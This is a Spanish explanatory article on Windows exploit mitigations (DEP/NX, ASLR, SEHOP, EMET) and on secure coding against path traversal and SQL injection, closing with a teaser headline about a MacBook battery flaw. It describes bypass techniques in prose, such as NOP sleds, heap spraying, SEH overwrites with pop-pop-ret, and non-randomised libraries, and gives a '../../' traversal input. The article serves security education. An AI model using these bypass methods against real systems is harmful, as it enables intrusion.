Este tipo de vulnerabilidades como hemos dicho, después de inyectar el código malicioso tiene que ejecutarlo enviando al procesador dichas instrucciones. ¿Pero qué pasaría si el sistema tuviese un sistema por el cual pudiese marcar ciertas zonas de la memoria como no ejecutables? Eso es lo que hace exactamente DEP. Por regla general, el único código que se debe de ejecutar es el que el programador codifica cuando está creando la aplicación. Cuando la aplicación se ejecuta en un sistema como Windows, la memoria asignada a dicho proceso se divide en 3 partes fundamentalmente: El código, la pila (stack) y el heap (no sé si hay una traducción al español para este término la verdad). La zona de la memoria del código contienen precisamente el código máquina de las instrucciones que serán ejecutadas en el procesador, mientras que el stack y el Heap mantendrán los datos que se manejarán en la ejecución de dicho programa, como por ejemplo las estructuras de datos, variables, matrices… En un momento dado a alguien se le ocurrió algo inteligente: Bueno, si el único código que se ejecuta es el que pertenece al segmento de código y los otros dos segmentos jamás contendrán código a ejecutarse, ¿por qué no creamos por hardware un sistema que marque dichos segmentos (en realidad se marcan páginas de memoria) como no ejecutables?

Con esta idea en mente, si la misma vulnerabilidad colocase código malicioso en el stack o el heap del proceso y dichos segmentos estuviesen marcados como páginas de memoria de no ejecución, el procesador jamás ejecutaría dichas instrucciones, con lo que el exploit jamás tendría éxito. De este modo se comenzó la fabricación hace ya años de una nueva característica en los procesadores actuales llamado bit NX por sus siglas: “No eXecute”. No obstante cada fabricante le da el nombre que un poco le da la gana. Por ejemplo, Intel lo llama desde bit XD (eXecutable Disabled), AMD lo llama tanto NX como “Advanced Virus Protection”… pero en todos los casos es exactamente lo mismo. El bit en concreto es el bit 63 (el bit más significativo). Si este bit está activado, entonces dicha página de memoria a la que hace referencia el resto de bits está marcada como solo datos, y por tanto el procesador no ejecutará ninguna instrucción que se encuentre en alla. Si el bit está deshabilitado la página se entenderá como ejecutable. Dado que hablamos del bit 63, es necesario que el sistema esté usando un procesador y un OS de 64 bits ó un sistema de 32 bits usando procesos PAE (un sistema para que los procesos en 32bits puedan tener acceso por encima de los 4GB de memoria que por limitación intrínseca tienen)

DEP es la implementación en Windows (y como se conoce a este método en general en cualquier ámbito) a esta capacidad de los procesadores actuales. De este modo, si un programa es compilado con DEP, cuando el OS lo cargue en memoria se marcarán las páginas de memorias que NO CONTIENEN EL CÓCIGO como no ejecutable, y de este modo, teóricamente siempre hablando, se impediría la ejecución de cualquier contenido que se pudiese inyectar en dichas regiones de memoria protegidas. DEP ha tenido un impacto sin precedentes en aquellos equipos con el soporte hardware adecuado y bajo un OS con una implementación total de DEP en él. Actualmente el soporte hardware no es un problema, ya que el 100% de todos los procesadores que se venden, incluso la gran mayoría de procesadores tipo ARM de los dispositivos portátiles, disponen de esta medida de seguridad.

No obstante, al igual que es necesario el soporte hardware (que no es un problema actualmente), DEP no puede ser eficaz si el OS que ejecuta el sistema lo tiene implementado de la forma correcta, como es el caso de MAC OS por ejemplo. Windows posee por ejemplo 4 configuraciones o políticas DEP:

  • Deshabilitado (AlwaysOFF): En modo Deshabilitado es evidente, la funcionalidad DEP será totalmente desactivada en todo el sistema, DEP no será usado en ningún proceso ya sea de sistema o no.
  • Siempre activado (AlwaysON): En modo Siempre activado es igualmente evidente, con total independencia, DEP será usado sin posibilidad de ser deshabilitado.
  • Activado selectivamente (OptIN): Este es el modo por defecto de Windows en sus versiones de escritorio (no servidores). En este modo, DEP es habilitado por defecto para todos los procesos del sistema, pero no es habilitado por defecto en el resto de procesos. Alternativamente un administrador del sistema puede añadir a una lista aquellos procesos a los que quiere obligar a tener DEP activado.
  • Desactivado selectivamente (OptOUT): Este modo es el establecido por defecto en las versiones de servidores de Windows. Su funcionamiento es inverso al modo Optin. En este modo, todos los procesos, tanto de sistema como cualquier otro, son forzados a usarse con DEP. Al igual que ocurriese con OptIN, en este caso se puede establecer una lista de aquellos procesos que queremos excluir de usarlos con DEP

Estas opciones, excluyendo AlwaysOff y AlwaysON dependen evidentemente del modo en el que se compilen las aplicaciones. Es decir, si una aplicación se compila con el flag “DEP Permanente”, significa que a menos que el sistema esté configurado como AlwaysOff siempre se ejecutará con la protección DEP activada, y sin posibilidad además de modificar su configuración hasta que el proceso sea detenido. En otras ocasiones, un proceso puede ser ejecutado con DEP pero puede permitir en tiempo de ejecución la modificación de su política respecto a DEP (por ejemplo porque el programa lo requiera).

Actualmente, hay que decir que la gran mayoría de todo el software bajo Windows se ejecuta con la protección DEP activada, excluyendo en todo caso actualizaciones (que en sí mismas son programas), parches, malware y otros. Por poner un ejemplo, en la estación en la que estoy redactando estas palabras se están ejecutando 50 procesos, de los cuales tan solo uno de los procesos, googletalkplugin.exe, se ejecutaría sin protección DEP (por cierto, un tirón de orejas para Google, ya que debería de ser compilado con DEP). En mi caso particular, al tener configurado DEP como OptOut se ejecutaría también con DEP activado. Del resto de los 49 procesos, aquellos que son más susceptibles de ser atacados (navegador, gestor de correos, aplicaciones que hacen uso de Internet en general) además están compilados con DEP permanente, lo que impide totalmente que se pueda modificar su configuración en tiempo de ejecución.

Por supuesto, esto no significa que DEP sea igualmente un sistema totalmente perfecto, y por desgracia para unos y suerte para otros es algo que puede circunvalarse, aunque por supuesto requiere de una mayor habilidad, ingenio, tiempo… Actualmente existen más de una alternativa para poder saltarse DEP, algunas dependen del proceso en cuestión, otras de si el sistema usa otras medidas de seguridad como ASLR… Quizás la forma más simple para ver un ejemplo de cómo se podría saltar DEP, es con lo que se ha explicado aquí. Como hemos dicho, algunos procesos pueden compilarse para que sea imposible modificar la seguridad DEP una vez el proceso se ha ejecutado, lo que hemos llamado DEP permanente. Esto nos dice que debe de existir por tanto algún sistema por el cual sea posible en tiempo de ejecución modificar la seguridad DEP “al vuelo”. Si se deshabilita DEP para dicho proceso antes de ejecutar el código malicioso, el ataque tendría éxito. Dado que se presupone que ya se dispone de una vulnerabilidad de ejecución remota, se tiene por tanto control sobre el registro EIP (el contador del sistema, el registro del procesador que indica la próxima instrucción a ejecutarse) es posible hacer que el procesador ejecute la rutina de desactivación de DEP de dicho proceso, solo hay que indicarle en que zona de la memoria se encuentra dicha instrucción, y volver de ella para ejecutar el código inyectado. Este sistema funciona francamente bien, siempre y cuando no se disponga de otras tecnologías como ASLR o que el programa no esté configurado como DEP permanente. No obstante, es tan solo una de las varias opciones de las que dispone un Hacker para saltarse las medidas de seguridad.

 

Address Space Load Randomization (ASLR)

 En conjunción con DEP, sin duda alguna son las mayores bazas con las que cuenta actualmente nuestros dispositivos como medidas activas para frenar o atenuar el efecto de las vulnerabilidades. Al igual que DEP, ASLR funciona en el propio corazón de nuestros Sistemas Operativos, protegiéndolo de forma activa de cualquier posible ataque externo, y al igual que sucediese con DEP, ASLR puede trabajar a diferentes niveles, dependiendo principalmente de la implementación de ASLR en el sistema, pero también de la configuración del sistema que tengamos establecida y de si las aplicaciones en sí mismas fueron compiladas/linkadas con soporte para ASLR

Microsoft fue el primero en implementar ASLR de forma bastante activa y funcional con Windows Vista, y fue remodelada y blindada casi por completo en Windows 7. Linux por su parte ha poseído implementaciones similares a ASLR desde hace más tiempo que Windows, pero implementaciones mucho más “débiles”. MAC OS por su parte implementó una primera ASLR en Leopard, la cual nunca sirvió de mucho por lo débil que era, mientras que Lion ha mejorado la implementación ASLR, pero muy lejos aún de la que posee Windows, dejando muchos flecos sueltos. Una vez más, ¿Qué es ASLR?

En realidad, el trabajo de ASLR es simple, lo “único” que hace es cargar el código de las aplicaciones (las imágenes de estas, el stack, heap, librerías dependientes…) en posiciones de memorias aleatorias. Aquí hay que explicar algunas cosas por tanto. Cuando no se usa ningún tipo de tecnología tipo ASLR, la mayoría de procesos, librerías y otros suelen ser cargados siempre en cada ejecución en las mismas posiciones de memoria. En Windows XP por ejemplo, si un proceso cargaba 3 bibliotecas DLL: kernel32.dll, sys.dll, gdi.dll, las tres bibliotecas eran siempre posicionadas en las mismas direcciones de memoria. Esto en realidad es práctico desde muchos puntos de vista, pero evidentemente muy inseguro. El mismo ejemplo a las bibliotecas es aplicable tanto al segmento de código del programa, la pila de este o el heap por supuesto (y otras zonas/segmentos que usan los procesos).

Realizar con éxito un ataque de ejecución de código arbitrario, no es algo simple. Como ya veremos en un ejemplo real, es necesario la mayoría de las veces de saber en qué posición de memoria se encuentra el código de la aplicación, a veces tan solo con tener una idea de donde estará es suficiente, otras veces hace falta una localización exacta. Un hacker puede en casa con tranquilidad ejecutar en su sistema la aplicación vulnerable y ver las posiciones de memoria que ocupa, para crear el exploit de forma satisfactoria. Una vez terminado, el hacker dado que sabe que el objetivo ejecuta el mismos sistema operativo que él, sabe que la aplicación que ejecuta que es la misma que la suya estará instalada en las mismas posiciones de memoria!! Con lo que el hacker no tiene que adivinar ni hacer un trabajo tedioso de “fuerza bruta” para conocer dichas posiciones de memoria. Con ASLR sin embargo, el Hacker no podrá conocer a priori en qué posición de memoria se han cargado las librerías, los procesos… dificultando enormemente la tarea de este.

ASLR además, no requiere de ningún soporte hardware como el caso de DEP, tan solo soporte software. Pero también es cierto, que la fortaleza de ASLR reside sobre todo en cómo de buena o mala es la implementación. Se presupone que cada vez que el equipo se inicia, este recolecta ciertos bits de entropía (eso excede este tema), los cuales a su vez son usados para generar la aleatoriedad con el que se van a cargar los procesos. En teoría, si el proceso se detiene y se vuelve a ejecutar, mientras que no se reinicie el equipo se volverá a ejecutar en la misma posición de memoria. Por tanto, es muy importante que el equipo sea capaz de generar posición de memoria muy aleatorias, o de lo contrario un hacker podría a groso modo tener una idea de por donde se podría estar cargando el código, y como veremos ahora, saltarse por tanto la protección ASLR.

Otra cuestión muy importante cuando se trata con ASLR es saber que contenido carga aleatoriamente en memoria y cual no. Por ejemplo, Windows 7 es capaz de cargar aleatoriamente TODO, es decir, tanto el código del proceso, como las librerías DLL que requiere, su pila, su heap… todo. En cambio por ejemplo en MAC OS Lion incluso, las librerías cargadas no se cargan con ASLR, con lo que su posición en memoria es totalmente predecible, aunque si es cargado en posiciones de memoria aleatoria la imagen de la aplicación (el código) o la pila. Todo esto es a tener en cuenta cuando se desea buscar un método que sea capaz de saltarse esta defensa.

Por último, otra cuestión importante sería el comportamiento del OS por defecto para estas defensas. Hay que tener en cuenta que aunque puedan existir métodos muy eficaces para prevenir todo tipo de “ataques”, siempre hay que llegar a un compromiso entre la seguridad y la funcionalidad. Muchas veces ASLR no es viable porque nuestro código necesita estar posicionado siempre en la misma posición de memoria!! Con lo cual, si el sistema obligase siempre el uso de ASLR o no permitiese de algún modo el no usarse por parte del programador, aparecerían problemas con muchos programas. Aquí es donde los administradores de un sistema tienen que tomar las decisiones que estimen oportunas. Al igual que vimos con DEP, que podía ser deshabilitado totalmente, habilitado totalmente o activado/desactivado con restricciones, ASLR funciona de forma similar (siempre hablando dentro de Windows 7 por supuesto). No obstante, dado que ASLR es una función algo más agresiva que DEP, el sistema no nos permite por defecto cambiar su comportamiento de forma… “fácil”. Por defecto la política de Windows 7 es cargar todas las bibliotecas y procesos del sistema con ASLR, permitiendo establecer una lista de aplicaciones que deseamos que sean cargadas forzosamente con ASLR, independientemente si fueron o no compiladas para ello. Por supuesto, si cualquier aplicación es compilada para hacer uso de ASLR, lo usará (repito, en caso de Windows, es una característica que debe de soportar el OS).

Por supuesto, al igual que sucede con DEP ningún sistema por bueno que sea es totalmente invulnerable, e incluso en sistemas con ASLR se les puede buscar las cosquillas. A día de hoy, el cómo ser capaz de burlar tanto DEP como ASLR es un tema totalmente actual, en el que existe muchísimos teóricos y prácticos dentro del mundo de la seguridad informática que trabajan activamente para buscar tantos métodos mejores como cualquier forma que sea posible para saltarse este sistema. Lo que quiero decir es que no estamos hablando de algo que sea de hace muchos años. Actualmente, existen algunas formas por las cuales un hacker podría saltarse ASLR (con o sin DEP). El problema es que todas las formas actuales no van a garantizar al 100% que el hacker pueda lograr saltarse dichas protecciones, además DEP y ASLR no son las únicas defensas con las que cuenta un OS (aunque sí las más eficientes). Muchas veces dependerá del equipo en cuestión, de lo actualizado o no que esté el sistema, de las políticas que el sistema esté optando… e incluso muchas veces interviene el factor suerte, y por supuesto y lo más importante: Tiempo y habilidad. Voy a explicar brevemente 3 de las medidas más usadas para solventar los problemas que los hackers encuentran con ASLR:

  • Atacando alguna biblioteca que no esté protegida por ASLR, la cual puede servir de salto. Si el programa tiene cargada o usando una biblioteca que no esté protegida por ASLR, podremos de ante mano conocer su ubicación exacta y hacer uso de ella para ejecutar de ella la función que nos interese. Otra variante a este tipo de “ataques” es forzar que la aplicación en cuestión cargue una biblioteca que nos pueda servir y que no esté bajo ASLR, claro que en este caso tendríamos como he dicho que forzar la carga de dicha biblioteca (se puede hacer).
  • Por fuerza bruta. ASLR coloca el RAM las aplicaciones en posiciones aleatorias, pero estas no son totalmente aleatorias evidentemente. Para empezar, tan solo es aleatorio los primeros bytes de las direcciones de memoria, quedando el resto intacto. En segundo lugar, aun cuando una biblioteca sea cargada aleatoriamente, las funciones dentro de ellas (una biblioteca no es más que un conjunto de funciones predefinas) se encuentran todas siempre en el mismo offset relativo, es decir que con conocer donde se encuentra cualquier función de la biblioteca se puede inferir el resto. En sistemas de 32 bits, ASLR reserva 24 bits para la aleatoriedad, mientras que en los sistemas de 64 bits son 56 los bits que son aleatorios. Puede que sea imposible saber la posición exacta en la que hemos inyectado nuestro código, pero sí podemos hacer con técnicas como las ventanas NOP hacer crecer en lo posible las posibilidades de éxito que tenemos de acertar una posición de memoria relevante, lo veremos ahora en el siguiente punto mejor. La cuestión, es que como si de un crack se tratase, podemos lanzar el exploit, el cual tardará segundos/minutos/horas/días (o incluso no lo logrará) en obtener un punto viable dentro de la memoria del equipo atacado. El problema con este método son evidentes. Primero que aunque sea una cuestión de tiempo, hay tiempo que se considera aceptable y tiempo que no. En segundo lugar es que es muy dependiente a la vulnerabilidad encontrada, y no es algo que se podrá usar siempre. En tercer y último lugar, en sistemas de 64 bits el problema es mucho mayor, ya que la cantidad de tiempo necesaria para tener éxito aumentaría exponencialmente, aunque continuaría siendo teóricamente posible y factible en muchas ocasiones.
  • Ventanas NOP: La instrucción NOP en un procesador es la instrucción: “No hacer nada”. Es decir, que el procesador la ejecuta y pasa a la siguiente sin que nada haya pasado. Aunque parezca una instrucción sin importancia es de echo de las instrucciones con más importancia en un procesador, y de las más usadas por cierto. Sirve por ejemplo para consumir/controlar el tiempo, abrir ventanas en el código sin afectar en nada la ejecución del mismo…. Y en este caso es una de las instrucciones favoritas para los Hackers, puesto que como no hace nada, no hay riesgo de que el sistema objetivo pueda fallar simplemente por inyectarlas. Pues bien, la técnica de las ventanas NOP es simple, se trata de ocupar el tamaño máximo posible de memoria (que permita por supuesto siempre el exploit y la aplicación) con un código que haga que si logramos enviar el EIP a alguna de las posiciones de memoria que estamos ocupando, nuestro código malicioso se ejecutará a la perfección. Esto es de total importancia a la hora de tener éxito en un exploit de ejecución remota. Si conocemos perfectamente la ubicación de nuestro código y podemos controlar el EIP es fácil, tan solo tendremos que enviarlo a la posición exacta en la cual tenemos nuestro código. ¿Pero qué pasa si por culpa de ASLR u otras penurias esto no es posible? Entonces el problema se ataja por otro lado, si no podemos conocer la ubicación exacta de nuestro código inyectado, hagamos que tengamos la mayor probabilidad posible de que nuestro código se ejecute. ¿Qué probabilidad tendríamos en acertar una posición de memoria en un sistema de 32 bits?? Muy pocas, 1 entre 4,3 mil millones, y en sistemas de 64 bits mejor ni hablar. Pero sabemos que ASLR quita algunos bits, lo cual en sistemas de 32 bits la probabilidad se reduce hasta 1 entre 16,7 millones. Aun así, sería cuanto menos peligroso y complicado tener en un tiempo prudencial la posición exacta de memoria simplemente “probando” una tras otra (que a fin de cuenta es lo que hace el brutefore). Aquí es donde entran las ventanas NOP. Imaginar que podemos colocar en memoria la friolera de 1024K bytes (es decir, 1024 posiciones de memoria). En realidad lo que necesitamos ejecutar como vimos en el shellcode son unos escasos bytes, tan solo 314 bytes en el caso que vimos!! Eso nos deja con un gran montón de espacio que podríamos rellenar… ¿con qué? Con operaciones NOP por supuesto. Cojamos las 1024K posiciones de memoria que podemos inyectar, y coloquemos en el medio nuestro shellCode. Rellenemos ahora el resto superior con instrucciones NOP, y el resto inferior con instrucciones NOP excepto las últimas posiciones que lo que realizamos es una instrucción de salto al inicio de nuestra ventana. Ahora, si el EIP es enviado a cualquier parte de nuestra ventana NOP, nuestro shellcode será ejecutado!! Si la dirección de memoria cae en la parte superior, se comenzarán a ejecutar instrucciones NOP hasta comenzar el shellcode, mientras que si cae por la parte inferior sucederá lo mismo hasta llegar al salto, que comenzará con la parte superior hasta acabar en el shellcode. En este caso, no tendríamos ahora 1 probabilidad entre 16,7 millones, sino de 1024K a 16,7 millones. Es decir, 1024K = 1M = 1048576 -> 2^24/1M = 16!! Tendremos 1 probabilidad entre 16 de dar con una posición que nos sirva!! Evidentemente esto sí que es factible, tardaríamos segundos en tener éxito!! De nuevo esto es factible en sistemas de 32 bits, en sistemas de 64 bits en el mismo escenario no tendríamos 1 entre 16, sino 1 entre 67 mil millones aproximadamente, algo bastante más complejo y complicado de lograr.
  • Heap Spraying: Su funcionalidad es más que nada la de complementar las ventanas NOP, o mejor dicho, las ventanas NOP complementan la técnica del Heap Spraying, aunque su utilidad no solo se traduce a las ventanas NOP. Heap Spraying es inyectar la máxima cantidad de datos en el heap para aumentar el uso de memoria usada por el proceso, de este modo dichas posiciones de memorias dejarán de ser posiciones de memorias no válidas. Evidentemente para que esto sea posible, la vulnerabilidad debe de permitir este suceso, de lo contrario no habría caso. Esto como vemos es la antesala de las ventanas NOP, en las que en dicho caso particular se rellenaría ese gran fragmento del heap con instrucciones NOP y el shellcode.

     

De nuevo, ASLR es actualmente un campo de guerra en el que tanto expertos en seguridad como hackers luchan a diario para lograr técnicas más efectivas para saltarse ASLR, mientras que las otras medidas para evitar en lo posible estos ataques. En cualquier caso, lo cierto es que la gran mayoría que se logra circunvalar ASLR es por medio de la llamada a alguna función de alguna librería que en última instancia no ha sido protegida por ASLR. Como ya he dicho, ASLR puede ser una gran defensa, pero no todos los procesos/bibliotecas son aptos para funcionar con ello, y si el sistema obligase de forma total el cargar todo con ASLR, muchos software fallarían. Por poner un ejemplo, los Drivers de ATI si se cargan forzando ASLR, se produciría un BSOD (Blue Screen Of Death… dicho de otro modo, pantallazo azul y no arranca el sistema). Esto es un fallo tanto de ATI como de ASLR en sí mismo, dado que muchos programas requieren de posiciones fijas en memoria, y ASLR lo impide. Pero aun cuando se forzase totalmente ASLR en todo el sistema para absolutamente TODO, esto tampoco impediría que un hacker lograse un exploit, eso sí… sería más complicado.

ASLR se complementa a la perfección con DEP dada la función de cada una de las medidas. De hecho, un sistema con una implementación perfecta de ASLR fallaría estrepitosamente sin una perfecta implementación de DEP, y lo mismo al revés. Esto ha sido muy criticado (y lo continúa siendo) en la comunidad MAC, en la que Apple no termina de implementar correctamente ambas tecnologías, lo que hace que crear un exploit para MAC OS sea infinitamente más sencillo y rápido que hacerlo para Windows, en el que cada día que pasa es más complicado realizar esta tarea, convirtiéndose actualmente en algo reservado tan solo para unas pocas mentes privilegiadas (siempre que el OS esté bien configurado por supuesto)

 

Structured Exception Handler Overwrite Protection (SEHOP)

 Esta funcionalidad es exclusiva de Windows, aunque también es cierto que es la plataforma donde la vulnerabilidad implicada (SEH) se hizo “famosa”. Esto no quiere decir que otros OS no puedan ser vulnerables a este tipo de problemas, solo que ha sido en Windows donde han visto la luz de forma mayoritaria. De nuevo es lógico, Windows posee una penetración de más de un 90%, por tanto es la plataforma más castigada. A un hacker no le compensa atacar MAC OS si lo que desea es lograr una bot net!! En cambio, ante ataques dirigidos la cosa es totalmente diferente. Como he dicho, SEHOP es un sistema de defensa de Windows ante los ataques y exploits de los hackers que hacen uso de la técnica de SEH para lograr ejecución de código arbitrario. Es más, un gran porcentaje de todos los exploits actuales contra Windows (10%-20%) hacen uso de SEH para lograr sus fines, es decir, SEH actualmente es una d las armas muy bien conocidas por los hackers en su muy variado y variopinto de su arsenal. Así que antes de explicar que es ó que hace SEHOP hay que explicar brevemente en que consiste un ataque que hace uso de SEH, dado que al contrario que otras vulnerabilidades que hemos visto, esta no la vamos a ver en detalle en otros capítulos, por ser más que nada una técnica en sí y no una vulnerabilidad propiamente dicha, lo mismo sucede con las ventanas NOP, las cadenas ROR, el Heap Sprayin… que son “técnicas” a fin de cuenta, ingenios de los expertos en la materia.

SEH (Structured Exception Handler) es una estructura de datos que controla por así decirlo los errores o excepciones que puede producir un programa. Dicho de un modo simple, cuando el programa experimenta un fallo (generalmente crítico), este es muy posible que esté siendo manejado por SEH. Cuando el fallo o la excepción (que es como se llama más correctamente a este tipo de fallos) se produce, se llama a la rutina encargada de verificar que excepción es la que ha sido lanzada y se compara en una especie de lista de excepciones para conocer cuál ha sido, ejecutándose la rutina asociada a dichas excepciones.

Un hacker podría por tanto, gracias a un desbordamiento de buffer por ejemplo, sobreescribir con una dirección de memoria concreta (donde se encuentran algunas instrucciones clásicas como “pop pop ret”) Cuando la aplicación lanzase una excepción (que podría ser forzada por el propio hacker de varias maneras, el sistema terminaría ejecutando la rutina de excepción modificada por el hacker. Al ejecutarse las instrucciones tipo “pop registro, pop registro, ret”, se estaría logrando tomar el control de la zona de memoria que el hacker quisiese ejecutar, donde previamente el hacker habría colocado su código malicioso (generalmente un shellcode). Estas excepciones las hemos visto alguna vez en un programa, por ejemplo la más “típica” de todas son quizás los “Access Memory Violation” mostrados en un cartel de alerta, incluso muchos desbordamientos de buffer que son detectados.

Evidentemente para que esta técnica tenga utilidad, el software en cuestión debe de estar gestionando los SEH, de lo contrario no habría caso, y de nuevo siempre presuponiendo entornos en los que no existen otras medidas de protección como DEP o ASLR, en cuyo caso primero habría que sortear dichas protecciones.

SEHOP lo que pretende realizar es defenderse ante estas situaciones. Suprimir SEH evidentemente no es viable de ningún modo, son procedimientos y llamadas propias del sistema necesarias para el correcto funcionamiento de todo!! Así que la primera medida que se tomó fue tener la opción en tiempo de compilación de la aplicación con metadatos concretos que una vez en tiempo de ejecución sirven para detectar el uso malicioso de SEH. El problema es el de siempre, muchos programas pueden hacer uso de las mismas técnicas, y si fuesen compiladas de tal modo las aplicaciones no funcionarían correctamente. Por tanto, no todas las medidas pueden ser forzadas obligatoriamente y de forma unánime!! Menos aún en sistemas operativos para usuarios, los cuales son proclives a instalar cualquier tipo de software. Cualquier medida que pueda ser problemática tiene que ser tan solo opcional para el usuario, y por tanto su configuración por defecto tiene que ser muy mirada. Por supuesto que todos los programas de Windows están protegidos por defecto con SEHOP, pero lo que se refiere al software de terceros, deben de ser estos los que decidan si su software usa dichas medidas o no.

En cambio, y como solución genérica, Microsoft si implementa de forma global medidas más suavizadas de SEHOP (aunque de nuevo, Microsoft nos da herramientas para obligar a que todos los programas usen esta tecnología), esta otra medida (diferente a la primera) consiste simplemente en verificar la integridad de la estructura SEH. Cuando un hacker sobrescribe algo en memoria, suele siempre sobrescribir más de la cuenta, nunca suele ser totalmente exacto en su tarea. Dado que SEH es una estructura de datos, generalmente cuando el hacker logra sobrescribir el puntero concreto de una excepción, involuntariamente (y es bastante habitual) sobrescribe la propia estructura de datos adyacente, haciendo que la estructura de datos en cuestión se corrompa. Esto al hacker normalmente no es algo que le importe, a fin de cuenta no pasa nada que la aplicación pueda saltarse algunas instrucciones, siempre por supuesto que la aplicación no se detenga y mientras que se ejecute su código. Pues esta segunda medida de Microsoft lo que hace es verificar que la estructura SEH está intacta antes de que se ejecute alguna excepción. Evidentemente esto no es la solución definitiva, dado que un hacker tan solo tendría que ser más meticuloso y restringir la sobrescritura tan solo a la posición de memoria exacta, de este modo dejar intacta la estructura de datos subyacente.

Una vez más, el juego del ratón y el gato hace que si se ha interpuesto una medida para prevenir que SEH sea usado, existirán retoques a esta técnica para saltarse la protección SEHOP de Microsoft, como hemos visto desde ser más exactos a la hora de sobrescribir una posición de memoria a modificar el código ejecutado en la excepción para lograr el mismo fin que se tenía al principio. Recordemos que los sistemas de “defensa” ante las vulnerabilidades no será nunca impedirlas (eso es imposible), sino complicarlas lo máximo posible para restringir cada vez más el tipo de hacker que pueda lograr dicha tarea. Digamos que hace unos años podrían crear y lanzar un exploit con éxito muchas más personas de las que hoy son capaces. Sí, todos sabemos que seguirán existiendo exploits y hackers que se aprovecharán de ellos (como quedó patente en el Pwn2Own de este año), pero cada vez es más complicado y las técnicas necesarias más sofisticadas.

Aunque de forma más o menos detallada se han comentado protecciones como DEP, ASLR o SEHOP, actualmente existen diversas técnicas que apoyan a estas y a otras para mejorar la seguridad. El problema que suelen tener todas ellas es el mismo, son más fáciles de sortear por un hacker y pueden causar problemas en la ejecución del software. Así por ejemplo tenemos la aplicación de Microsoft EMET que permite forzar algunas de estas medidas, como pueda ser Export Address Table Filtering (EAF), HeapSpray pre-Allocation (HPA), NullPage pre-Allocation (NPA)… todas ellas con la intención de salvaguardar en la medida de lo posible al OS contra la ejecución de código arbitrario, por ser la mayor amenaza siempre.

 

Saneamiento del código y compiladores actuales

 Hasta ahora hemos visto medidas desde el punto de vista del usuario, pero no desde los programadores. Además, todas las medidas anteriores vienen a evitar en lo posible las ejecuciones de código arbitrario (quitando las actualizaciones), pero no se ha dicho nada de cómo evitar otro tipo de vulnerabilidades como las inyecciones SQL y demás. Esto depende en última instancia de los programadores, con lo cual es un problema para el usuario final, ya que tiene que fiarse de estos. Lo cual por cierto es mucho fiarse, puesto por muy profesionales que sean los programadores, no son perfectos y es muy normal que se le escapen algunos flecos.

Lo primero y principal por tanto es usar siempre compiladores actualizados y decentes. Esto es esencial. Cuanto más sofisticado sea el compilador, no solo teóricamente podrá crear un código más eficiente, sino que en tiempo de compilación y link podrá realizarle una medida de chequeos y pruebas que garanticen el funcionamiento correcto del programa, o al menos todo lo correcto que pueda ser. Actualmente las pruebas más comunes son sin duda alguna verificar que no se puedan producir desbordamientos de buffer o de stack, que podrían permitir la existencia de una vulnerabilidad que pusiese en jaque al programa y en última instancia a todo el sistema. En teoría el programador tendría que tener la experiencia y la habilidad necesaria para saber que estructuras puede crear y que prácticas tiene que evitar a toda costa para evitar este tipo (y otros tipos) de malas costumbres en la programación que terminan con vulnerabilidades clásicas. Lo que sucede es que ya sea por la torpeza o el descuido de los programadores, nunca está de más darle una herramienta que compruebe por él este tipo de chequeos comunes.

Otra de las comprobaciones que se suelen realizar es la verificación de que no se queden punteros sueltos pululando por el código, lo cual podría ser totalmente nefasto si un hacker da con uno de ellos, son potencialmente peligrosos, y su solución en realidad es simple, simplemente, o destruirlos o asignarles un valor null una vez que se dejan de usar para evitar que estén apuntando a zonas de memorias que podrían ser perjudiciales para la aplicación, como por ejemplo la misma pila de esta. De nuevo el problema está en que este tipo de prácticas no se les suele enseñar a los programadores de proyectos de menor importancia o de menor grado. La consecuencia es evidente, encuentras muchísimo software vulnerable en la red, sobre todo aquel software que no tiene una empresa realmente fuerte por detrás. Es decir, sería muy muy complicado (posible, pero complicado) encontrar un puntero suelto en el código de Windows, pero en contra partida sería bastante simple encontrarlo en el código de por ejemplo un software que crea el gobierno español para cualquier fin. Por eso el uso de compiladores modernos es esencial, ya que se cae en muy malas prácticas, estos compiladores al menos atenúan el riesgo en la medida de lo posible.

Al igual que es necesario tener buenas prácticas de programación en lenguajes de alto nivel como C/C++ y el uso de buenos compiladores, es también necesario tener un especial cuidado con lenguajes web tipo PHP, ASP, Ruby, JavaSript, Perl, Pyton… a la hora de crear aplicaciones web o portales o cualquier contenido en general. Al igual que tenemos los problemas constantes de los desbordamientos de buffer en el software de PC, es muy normal cometer errores en el saneamiento del código en los lenguajes de programación nombrados (a partir de ahora PHP por abreviar). Este tipo de lenguajes no solo son ejecutados en el equipo servidor que hospeda la web, sino que además generan de forma dinámica el contenido HTML que nos es mostrado. Estos lenguajes suelen ser bastante puñeteros a la hora de manejar caracteres especiales. Por ejemplo, si creamos un formulario web en el que tenemos un solo campo para introducir un número, las buenas prácticas siempre nos harán en la medida de lo posible ya sea con JS o por PHP impedir que en dicho campo se pueda introducir otro carácter que no sea un número. En este caso a lo mejor no tiene una importancia en mayúscula, pero si en vez de ser un número de teléfono fuera por ejemplo el campo en el que especificamos un nombre de usuario para enviarnos a nuestro perfil tipo “http://host.com/perfiles/nustroperfil”, y dicho campo no verificase correctamente los caracteres de barras y puntos, podríamos poner un nombre de usuario como por ejemplo “../../”, por tanto se podría producir un path traversal cuando dicho usaurio quisiese visitar su perfil, y en vez de ello tendría acceso a lo mejor al directorio raíz del servidor. Esto que parece un poco tonto es un error muy muy común.

Es por ello que suele ser mucho más simple de cara a un programador usar siempre políticas de listas blancas en vez de listas negras. Esto quiere decir que en vez de usar listas de caracteres no permitidos, es siempre mucho mejor establecer listas de los únicos caracteres permitidos, así es más simple que no quede algún cabo suelto. Esto es totalmente extrapolable a SQL, el cual no es extraño verlo sufrir por problemas similares. Un mal saneamiento de los caracteres puede producir que se logre un ataque de SQL injectiion, el cual podría darnos acceso a toda la base de datos del servidor atacado. Una vez más, la solución es la misma, saneamiento y más saneamiento, y cuando se crea que se han tomado todas las medidas posibles, poner la aplicación web o el código a pruebas para comprobar si realmente es inmune, al menos a los ataques más comunes.

Apple: Fallo de seguridad permite a un asaltante inutilizar totalmente las baterías de los MacBook/Pro/Air, obligando su reemplazo

¿Tienes un Macbook/MacBook Pro/MacBook Air? Si a partir de hoy la batería deja de ser usable por tu portátil y tienes que cambiarla con el consecuente gasto, primero dale las gracias a Apple por su seguridad, y segundo felicita el ingenio de Charlie Miller.

 

